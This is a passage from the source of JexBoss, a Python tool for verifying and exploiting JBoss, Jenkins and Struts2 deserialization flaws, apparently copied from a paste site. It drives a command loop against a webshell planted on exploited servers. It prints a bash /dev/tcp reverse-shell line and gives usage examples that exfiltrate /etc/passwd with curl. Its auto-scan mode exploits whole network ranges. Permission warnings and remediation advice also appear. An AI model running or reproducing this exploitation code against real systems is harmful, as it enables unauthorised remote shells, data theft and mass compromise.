  718.                "Connection": "keep-alive",
  719.                "User-Agent": get_random_user_agent()}
  720.  
  721.     if gl_args.disable_check_updates:
  722.         headers['no-check-updates'] = 'true'
  723.  
  724.     if shell_type == "jmx-console" or shell_type == "web-console" or shell_type == "admin-console":
  725.         path = '/jexws4/jexws4.jsp?'
  726.     elif shell_type == "JMXInvokerServlet":
  727.         path = '/jexinv4/jexinv4.jsp?'
  728.  
  729.     gl_http_pool.request('GET', url+path, redirect=False, headers=headers)
  730.  
  731.     sleep(7)
  732.     resp = ""
  733.     print_and_flush("# ----------------------------------------- # LOL # ----------------------------------------- #\n")
  734.     print_and_flush(RED + " * " + url + ": \n" + ENDC)
  735.     print_and_flush("# ----------------------------------------- #\n")
  736.     print_and_flush(GREEN + BOLD + " * For a Reverse Shell (like meterpreter =]), type the command: \n\n"
  737.                                    "   jexremote=YOUR_IP:YOUR_PORT\n\n" + ENDC + GREEN +
  738.                     "   Example:\n" +ENDC+
  739.                     "     Shell>jexremote=192.168.0.10:4444\n"
  740.                     "\n" +GREEN+
  741.                     "   Or use other techniques of your choice, like:\n" +ENDC+
  742.                     "     Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1\n"
  743.                     "   \n"+GREEN+
  744.                     "   And so on... =]\n" +ENDC
  745.                     )
  746.     print_and_flush("# ----------------------------------------- #\n")
  747.  
  748.     for cmd in ['uname -a', 'cat /etc/issue', 'id']:
  749.         cmd = urlencode({"ppp": cmd})
  750.         try:
  751.             r = gl_http_pool.request('GET', url + path + cmd, redirect=False, headers=headers)
  752.             resp += " " + str(r.data).split(">")[1]
  753.         except:
  754.             print_and_flush(RED + " * Apparently an IPS is blocking some requests. Check for updates will be disabled...\n\n"+ENDC)
  755.             logging.warning("Disabling checking for updates.", exc_info=traceback)
  756.             headers['no-check-updates'] = 'true'
  757.  
  758.     print_and_flush(resp.replace('\\n', '\n'), same_line=True)
  759.     logging.info("Server %s exploited!" %url)
  760.  
  761.     while 1:
  762.         print_and_flush(BLUE + "[Type commands or \"exit\" to finish]" +ENDC)
  763.  
  764.         if not sys.stdout.isatty():
  765.             print_and_flush("Shell> ", same_line=True)
  766.             cmd = input() if version_info[0] >= 3 else raw_input()
  767.         else:
  768.             cmd = input("Shell> ") if version_info[0] >= 3 else raw_input("Shell> ")
  769.  
  770.         if cmd == "exit":
  771.             break
  772.  
  773.         cmd = urlencode({"ppp": cmd})
  774.         try:
  775.             r = gl_http_pool.request('GET', url + path + cmd, redirect=False, headers=headers)
  776.         except:
  777.             print_and_flush(RED + " * Error contacting the command shell. Try again and see logs for details ...")
  778.             logging.error("Error contacting the command shell", exc_info=traceback)
  779.             continue
  780.  
  781.         resp = str(r.data)
  782.         if r.status == 404:
  783.             print_and_flush(RED + " * Error contacting the command shell. Try again later...")
  784.             continue
  785.         stdout = ""
  786.         try:
  787.             stdout = resp.split("pre>")[1]
  788.         except:
  789.             print_and_flush(RED + " * Error contacting the command shell. Try again later...")
  790.         if stdout.count("An exception occurred processing JSP page") == 1:
  791.             print_and_flush(RED + " * Error executing command \"%s\". " % cmd.split("=")[1] + ENDC)
  792.         else:
  793.             print_and_flush(stdout.replace('\\n', '\n'))
  794.  
  795.  
  796. def clear():
  797.     """
  798.    Clears the console
  799.    """
  800.     if name == 'posix':
  801.         system('clear')
  802.     elif name == ('ce', 'nt', 'dos'):
  803.         system('cls')
  804.  
  805.  
  806. def banner():
  807.     """
  808.    Print the banner
  809.    """
  810.     clear()
  811.     print_and_flush(RED1 + "\n * --- JexBoss: Jboss verify and EXploitation Tool  --- *\n"
  812.                  " |  * And others Java Deserialization Vulnerabilities * | \n"
  813.                  " |                                                      |\n"
  814.                  " | @author:  João Filho Matos Figueiredo                |\n"
  815.                  " | @contact: joaomatosf@gmail.com                       |\n"
  816.                  " |                                                      |\n"
  817.                  " | @update: https://github.com/joaomatosf/jexboss       |\n"
  818.                  " #______________________________________________________#\n")
  819.     print_and_flush(RED1 + " @version: %s" % __version__)
  820.     print_and_flush (ENDC)
  821.  
  822.  
  823. def help_usage():
  824.     usage = (BOLD + BLUE + " Examples: [for more options, type python jexboss.py -h]\n" + ENDC +
  825.     BLUE + "\n For simple usage, you must provide the host name or IP address you\n"
  826.            " want to test [-host or -u]:\n" +
  827.     GREEN + "\n  $ python jexboss.py -u https://site.com.br" +
  828.  
  829.      BLUE + "\n\n For Java Deserialization Vulnerabilities in HTTP POST parameters. \n"
  830.             " This will ask for an IP address and port to try to get a reverse shell:\n" +
  831.      GREEN + "\n  $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize" +
  832.  
  833.      BLUE + "\n\n For Java Deserialization Vulnerabilities in a custom HTTP parameter and \n"
  834.             " to send a custom command to be executed on the exploited server:\n" +
  835.      GREEN + "\n  $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize\n"
  836.              "    -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'" +
  837.  
  838.      BLUE + "\n\n For Java Deserialization Vulnerabilities in a Servlet (like Invoker):\n"+
  839.      GREEN + "\n  $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize\n" +
  840.  
  841.      BLUE + "\n\n To test Java Deserialization Vulnerabilities with DNS Lookup:\n" +
  842.      GREEN + "\n  $ python jexboss.py -u http://vulnerable_java_app/path --gadget dns --dns test.yourdomain.com" +
  843.  
  844.      BLUE + "\n\n For Jenkins CLI Deserialization Vulnerabilitie:\n"+
  845.      GREEN + "\n  $ python jexboss.py -u http://vulnerable_java_app/jenkins --jenkins"+
  846.  
  847.      BLUE + "\n\n For Apache Struts2 Vulnerabilities (CVE-2017-5638):\n" +
  848.      GREEN + "\n  $ python jexboss.py -u http://vulnerable_java_app/path.action --struts2\n" +
  849.  
  850.      BLUE + "\n\n For auto scan mode, you must provide the network in CIDR format, "
  851.    "\n list of ports and filename for store results:\n" +
  852.     GREEN + "\n  $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 \n"
  853.             "    -results report_auto_scan.log" +
  854.  
  855.     BLUE + "\n\n For file scan mode, you must provide the filename with host list "
  856.            "\n to be scanned (one host per line) and filename for store results:\n" +
  857.     GREEN + "\n  $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log\n" + ENDC)
  858.     return usage
  859.  
  860.  
  861. def network_args(string):
  862.     try:
  863.         if version_info[0] >= 3:
  864.             value = ipaddress.ip_network(string)
  865.         else:
  866.             value = ipaddress.ip_network(unicode(string))
  867.     except:
  868.         msg = "%s is not a network address in CIDR format." % string
  869.         logging.error("%s is not a network address in CIDR format." % string)
  870.         raise argparse.ArgumentTypeError(msg)
  871.     return value
  872.  
  873.  
  874. def main():
  875.     """
  876.    Run interactively. Call when the module is run by itself.
  877.    :return: Exit code
  878.    """
  879.     # check for Updates
  880.     if not gl_args.disable_check_updates:
  881.         updates = _updates.check_updates()
  882.         if updates:
  883.             print_and_flush(BLUE + BOLD + "\n\n * An update is available and is recommended update before continuing.\n" +
  884.                                           "   Do you want to update now?")
  885.             if not sys.stdout.isatty():
  886.                 print_and_flush("   YES/no? ", same_line=True)
  887.                 pick = input().lower() if version_info[0] >= 3 else raw_input().lower()
  888.             else:
  889.                 pick = input("   YES/no? ").lower() if version_info[0] >= 3 else raw_input("   YES/no? ").lower()
  890.  
  891.             print_and_flush(ENDC)
  892.             if pick != "no":
  893.                 updated = _updates.auto_update()
  894.                 if updated:
  895.                     print_and_flush(GREEN + BOLD + "\n * The JexBoss has been successfully updated. Please run again to enjoy the updates.\n" +ENDC)
  896.                     exit(0)
  897.                 else:
  898.                     print_and_flush(RED + BOLD + "\n\n * An error occurred while updating the JexBoss. Please try again..\n" +ENDC)
  899.                     exit(1)
  900.  
  901.     vulnerables = False
  902.     # check vulnerabilities for standalone mode
  903.     if gl_args.mode == 'standalone':
  904.         url = gl_args.host
  905.         scan_results = check_vul(url)
  906.         # performs exploitation for jboss vulnerabilities
  907.         for vector in scan_results:
  908.             if scan_results[vector] == 200 or scan_results[vector] == 500:
  909.                 vulnerables = True
  910.                 if gl_args.auto_exploit:
  911.                     auto_exploit(url, vector)
  912.                 else:
  913.  
  914.                     if vector == "Application Deserialization":
  915.                         msg_confirm = "   If successful, this operation will provide a reverse shell. You must enter the\n" \
  916.                                       "   IP address and Port of your listening server.\n"
  917.                     else:
  918.                         msg_confirm = "   If successful, this operation will provide a simple command shell to execute \n" \
  919.                                       "   commands on the server..\n"
  920.  
  921.                     print_and_flush(BLUE + "\n\n * Do you want to try to run an automated exploitation via \"" +
  922.                           BOLD + vector + NORMAL + "\" ?\n" +
  923.                           msg_confirm +
  924.                           RED + "   Continue only if you have permission!" + ENDC)
  925.                     if not sys.stdout.isatty():
  926.                         print_and_flush("   yes/NO? ", same_line=True)
  927.                         pick = input().lower() if version_info[0] >= 3 else raw_input().lower()
  928.                     else:
  929.                         pick = input("   yes/NO? ").lower() if version_info[0] >= 3 else raw_input("   yes/NO? ").lower()
  930.  
  931.                     if pick == "yes":
  932.                         auto_exploit(url, vector)
  933.  
  934.     # check vulnerabilities for auto scan mode
  935.     elif gl_args.mode == 'auto-scan':
  936.         file_results = open(gl_args.results, 'w')
  937.         file_results.write("JexBoss Scan Mode Report\n\n")
  938.         for ip in gl_args.network.hosts():
  939.             if gl_interrupted: break
  940.             for port in gl_args.ports.split(","):
  941.                 if check_connectivity(ip, port):
  942.                     url = "{0}:{1}".format(ip,port)
  943.                     ip_results = check_vul(url)
  944.                     for key in ip_results.keys():
  945.                         if ip_results[key] == 200 or ip_results[key] == 500:
  946.                             vulnerables = True
  947.                             if gl_args.auto_exploit:
  948.                                 result_exploit = auto_exploit(url, key)
  949.                                 if result_exploit:
  950.                                     file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key))
  951.                                 else:
  952.                                     file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key))
  953.                             else:
  954.                                 file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key))
  955.  
  956.                             file_results.flush()
  957.                 else:
  958.                     print_and_flush (RED+"\n * Host %s:%s does not respond."% (ip,port)+ENDC)
  959.         file_results.close()
  960.     # check vulnerabilities for file scan mode
  961.     elif gl_args.mode == 'file-scan':
  962.         file_results = open(gl_args.out, 'w')
  963.         file_results.write("JexBoss Scan Mode Report\n\n")
  964.         file_input = open(gl_args.file, 'r')
  965.         for url in file_input.readlines():
  966.             if gl_interrupted: break
  967.             url = url.strip()
  968.             ip = str(parse_url(url)[2])
  969.             port = parse_url(url)[3] if parse_url(url)[3] != None else 80
  970.             if check_connectivity(ip, port):
  971.                 url_results = check_vul(url)
  972.                 for key in url_results.keys():
  973.                     if url_results[key] == 200 or url_results[key] == 500:
  974.                         vulnerables = True
  975.                         if gl_args.auto_exploit:
  976.                             result_exploit = auto_exploit(url, key)
  977.                             if result_exploit:
  978.                                 file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key))
  979.                             else:
  980.                                 file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key))
  981.                         else:
  982.                             file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key))
  983.  
  984.                         file_results.flush()
  985.             else:
  986.                 print_and_flush (RED + "\n * Host %s:%s does not respond." % (ip, port) + ENDC)
  987.         file_results.close()
  988.  
  989.     # resume results
  990.     if vulnerables:
  991.         banner()
  992.         print_and_flush(RED + BOLD+" Results: potentially compromised server!" + ENDC)
  993.         if gl_args.mode  == 'file-scan':
  994.             print_and_flush(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.out) + ENDC)
  995.         elif gl_args.mode == 'auto-scan':
  996.             print_and_flush(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.results) + ENDC)
  997.  
  998.         print_and_flush(GREEN + " ---------------------------------------------------------------------------------\n"
  999.              +BOLD+   " Recommendations: \n" +ENDC+
  1000.               GREEN+  " - Remove web consoles and services that are not used, eg:\n"
  1001.                       "    $ rm web-console.war http-invoker.sar jmx-console.war jmx-invoker-adaptor-server.sar admin-console.war\n"
  1002.                       " - Use a reverse proxy (eg. nginx, apache, F5)\n"
  1003.                       " - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"
  1004.                       " - Search vestiges of exploitation within the directories \"deploy\" and \"management\".\n"
  1005.                       " - Do NOT TRUST serialized objects received from the user\n"
  1006.                       " - If possible, stop using serialized objects as input!\n"
  1007.                       " - If you need to work with serialization, consider migrating to the Gson lib.\n"
  1008.                       " - Use a strict whitelist with Look-ahead[3] before deserialization\n"
  1009.                       " - For a quick (but not definitive) remediation for the viewState input, store the state \n"
  1010.                       "   of the view components on the server (this will increase the heap memory consumption): \n"
  1011.                       "      In web.xml, change the \"client\" parameter to \"server\" on STATE_SAVING_METHOD.\n"
  1012.                       " - Upgrade Apache Struts: https://cwiki.apache.org/confluence/display/WW/S2-045\n"
  1013.                       "\n References:\n"
  1014.                       "   [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"
  1015.                       "   [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"
  1016.                       "   [3] - https://www.ibm.com/developerworks/library/se-lookahead/\n"
  1017.                       "   [4] - https://www.owasp.org/index.php/Deserialization_of_untrusted_data\n"
  1018.                       "\n"
  1019.                       " - If possible, discard this server!\n"
  1020.                       " ---------------------------------------------------------------------------------")
  1021.     else:
  1022.         print_and_flush(GREEN + "\n\n * Results: \n" +
  1023.               "   The server is not vulnerable to bugs tested ... :D\n" + ENDC)
  1024.     # infos
  1025.     print_and_flush(ENDC + " * Info: review, suggestions, updates, etc: \n" +
  1026.           "   https://github.com/joaomatosf/jexboss\n")
  1027.  
  1028.     print_and_flush(GREEN + BOLD + " * DONATE: " + ENDC + "Please consider making a donation to help improve this tool,\n" +
  1029.           GREEN + BOLD + " * Bitcoin Address: " + ENDC + " 14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C \n" )
  1030.  
  1031.  
  1032. print_and_flush(ENDC)
  1033.  
  1034. #banner()
  1035.  
  1036.  
  1037. if __name__ == "__main__":
  1038.  
  1039.  
  1040.     parser = argparse.ArgumentParser(
  1041.         formatter_class=argparse.RawDescriptionHelpFormatter,
  1042.         #description="JexBoss v%s: JBoss verify and EXploitation Tool" %__version,
  1043.         description=textwrap.dedent(RED1 +
  1044.                "\n # --- JexBoss: Jboss verify and EXploitation Tool  --- #\n"
  1045.                  " |    And others Java Deserialization Vulnerabilities   | \n"
  1046.                  " |                                                      |\n"
  1047.                  " | @author:  João Filho Matos Figueiredo                |\n"
  1048.                  " | @contact: joaomatosf@gmail.com                       |\n"
  1049.                  " |                                                      |\n"
  1050.                  " | @updates: https://github.com/joaomatosf/jexboss      |\n"
  1051.                  " #______________________________________________________#\n"
  1052.                  " @version: " + __version__ + "\n" + help_usage()),
  1053.         epilog="",
  1054.         prog="JexBoss"
  1055.     )
  1056.  
  1057.     group_standalone = parser.add_argument_group('Standalone mode')
  1058.     group_advanced = parser.add_argument_group('Advanced Options (USE WHEN EXPLOITING JAVA UNSERIALIZE IN APP LAYER)')
  1059.     group_auto_scan = parser.add_argument_group('Auto scan mode')
  1060.     group_file_scan = parser.add_argument_group('File scan mode')
  1061.  
  1062.     # optional parameters ---------------------------------------------------------------------------------------
  1063.     parser.add_argument('--version', action='version', version='%(prog)s ' + __version__)
  1064.     parser.add_argument("--auto-exploit", "-A", help="Send exploit code automatically (USE ONLY IF YOU HAVE PERMISSION!!!)",
  1065.                         action='store_true')
  1066.     parser.add_argument("--disable-check-updates", "-D", help="Disable two updates checks: 1) Check for updates "
  1067.                         "performed by the webshell in exploited server at http://webshell.jexboss.net/jsp_version.txt and 2) check for updates "
  1068.                         "performed by the jexboss client at http://joaomatosf.com/rnp/releases.txt",
  1069.                         action='store_true')
  1070.     parser.add_argument('-mode', help="Operation mode (DEFAULT: standalone)", choices=['standalone', 'auto-scan', 'file-scan'], default='standalone')
  1071.     parser.add_argument("--app-unserialize", "-j",
  1072.                         help="Check for java unserialization vulnerabilities in HTTP parameters (eg. javax.faces.ViewState, "
  1073.                              "oldFormData, etc)", action='store_true')
  1074.     parser.add_argument("--servlet-unserialize", "-l",
  1075.                         help="Check for java unserialization vulnerabilities in Servlets (like Invoker interfaces)",
  1076.                         action='store_true')
  1077.     parser.add_argument("--jboss", help="Check only for JBOSS vectors.", action='store_true')
  1078.     parser.add_argument("--jenkins",  help="Check only for Jenkins CLI vector (CVE-2015-5317).", action='store_true')
  1079.     parser.add_argument("--struts2", help="Check only for Struts2 Jakarta Multipart parser (CVE-2017-5638).", action='store_true')
  1080.     parser.add_argument("--jmxtomcat", help="Check JMX JmxRemoteLifecycleListener in Tomcat (CVE-2016-8735 and "
  1081.                                             "CVE-2016-3427). OBS: Will not be checked by default.", action='store_true')
  1082.  
  1083.     parser.add_argument('--proxy', "-P", help="Use a http proxy to connect to the target URL (eg. -P http://192.168.0.1:3128)", )
  1084.     parser.add_argument('--proxy-cred', "-L", help="Proxy authentication credentials (eg -L name:password)", metavar='LOGIN:PASS')
  1085.     parser.add_argument('--jboss-login', "-J", help="JBoss login and password for exploit admin-console in JBoss 5 and JBoss 6 "
  1086.                                                     "(default: admin:admin)", metavar='LOGIN:PASS', default='admin:admin')
  1087.     parser.add_argument('--timeout', help="Seconds to wait before timeout connection (default 3)", default=3, type=int)
  1088.  
  1089.     parser.add_argument('--cookies', help="Specify cookies for Struts 2 Exploit. Use this to test features that require authentication. "
  1090.                                          "Format: \"NAME1=VALUE1; NAME2=VALUE2\" (eg. --cookie \"JSESSIONID=24517D9075136F202DCE20E9C89D424D\""
  1091.                         , type=str, metavar='NAME=VALUE')
  1092.     #parser.add_argument('--retries', help="Retries when the connection timeouts (default 3)", default=3, type=int)
  1093.  
  1094.     # advanced parameters ---------------------------------------------------------------------------------------
  1095.     group_advanced.add_argument("--reverse-host", "-r", help="Remote host address and port for reverse shell when exploiting "
  1096.                                                              "Java Deserialization Vulnerabilities in application layer "
  1097.                                                              "(for now, working only against *nix systems)"
  1098.                                                              "(eg. 192.168.0.10:1331)", type=str, metavar='RHOST:RPORT')
  1099.     group_advanced.add_argument("--cmd", "-x",
  1100.                                 help="Send specific command to run on target (eg. curl -d @/etc/passwd http://your_server)"
  1101.                                      , type=str, metavar='CMD')
  1102.     group_advanced.add_argument("--dns", help="Specifies the dns query for use with \"dns\" Gadget", type=str, metavar='URL')
  1103.     group_advanced.add_argument("--windows", "-w", help="Specifies that the commands are for rWINDOWS System$ (cmd.exe)",
  1104.                                 action='store_true')
  1105.     group_advanced.add_argument("--post-parameter", "-H", help="Specify the parameter to find and inject serialized objects into it."
  1106.                                                                " (egs. -H javax.faces.ViewState or -H oldFormData (<- Hi PayPal =X) or others)"
  1107.                                                                " (DEFAULT: javax.faces.ViewState)",
  1108.                                                                  default='javax.faces.ViewState', metavar='PARAMETER')
  1109.     group_advanced.add_argument("--show-payload", "-t", help="Print the generated payload.",
  1110.                                 action='store_true')
  1111.     group_advanced.add_argument("--gadget", help="Specify the type of Gadget to generate the payload automatically."
  1112.                                                  " (DEFAULT: commons-collections3.1 or groovy1 for JenKins)",
  1113.                                     choices=['commons-collections3.1', 'commons-collections4.0', 'jdk7u21', 'jdk8u20', 'groovy1', 'dns'],
  1114.                                     default='commons-collections3.1')
  1115.     group_advanced.add_argument("--load-gadget", help="Provide your own gadget from file (a java serialized object in RAW mode)",
  1116.                                 metavar='FILENAME')
  1117.     group_advanced.add_argument("--force", "-F",
  1118.                                 help="Force send java serialized gadgets to URL informed in -u parameter. This will "
  1119.                                      "send the payload in multiple formats (eg. RAW, GZIPED and BASE64) and with "
  1120.                                      "different Content-Types.",action='store_true')
  1121.  
  1122.     # required parameters ---------------------------------------------------------------------------------------
  1123.     group_standalone.add_argument("-host", "-u", help="Host address to be checked (eg. -u http://192.168.0.10:8080)",
  1124.                                   type=str)
  1125.  
  1126.     # scan's mode parameters ---------------------------------------------------------------------------------------
  1127.     group_auto_scan.add_argument("-network", help="Network to be checked in CIDR format (eg. 10.0.0.0/8)",
  1128.                             type=network_args, default='192.168.0.0/24')
  1129.     group_auto_scan.add_argument("-ports", help="List of ports separated by commas to be checked for each host "
  1130.                                                 "(eg. 8080,8443,8888,80,443)", type=str, default='8080,80')
  1131.     group_auto_scan.add_argument("-results", help="File name to store the auto scan results", type=str,
  1132.                                  metavar='FILENAME', default='jexboss_auto_scan_results.log')
  1133.  
  1134.     group_file_scan.add_argument("-file", help="Filename with host list to be scanned (one host per line)",
  1135.                                  type=str, metavar='FILENAME_HOSTS')
  1136.     group_file_scan.add_argument("-out", help="File name to store the file scan results", type=str,
  1137.                                  metavar='FILENAME_RESULTS', default='jexboss_file_scan_results.log')
  1138.  
  1139.     gl_args = parser.parse_args()
  1140.  
  1141.     if (gl_args.mode == 'standalone' and gl_args.host is None) or \
  1142.         (gl_args.mode == 'file-scan' and gl_args.file is None) or \
  1143.         (gl_args.gadget == 'dns' and gl_args.dns is None):
  1144.         banner()
  1145.         print (help_usage())
  1146.         exit(0)
  1147.     else:
  1148.         configure_http_pool()
  1149.         _updates.set_http_pool(gl_http_pool)
  1150.         _exploits.set_http_pool(gl_http_pool)
  1151.         banner()
  1152.         if gl_args.proxy and not is_proxy_ok():
  1153.             exit(1)
  1154.         if gl_args.gadget == 'dns': gl_args.cmd = gl_args.dns
  1155.         main()
  1156.  
  1157. if __name__ == '__testing__':
  1158.     headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  1159.                "Connection": "keep-alive",
  1160.                "User-Agent": get_random_user_agent()}
  1161.  
  1162.     timeout = Timeout(connect=1.0, read=3.0)
  1163.     gl_http_pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
  1164.     _exploits.set_http_pool(gl_http_pool)

Raw Paste

Comments 0
Login to post a comment.
  • No comments yet. Be the first.
Login to post a comment. Login or Register
We use cookies. To comply with GDPR in the EU and the UK we have to show you these.

We use cookies and similar technologies to keep this website functional (including spam protection via Google reCAPTCHA or Cloudflare Turnstile), and — with your consent — to measure usage and show ads. See Privacy.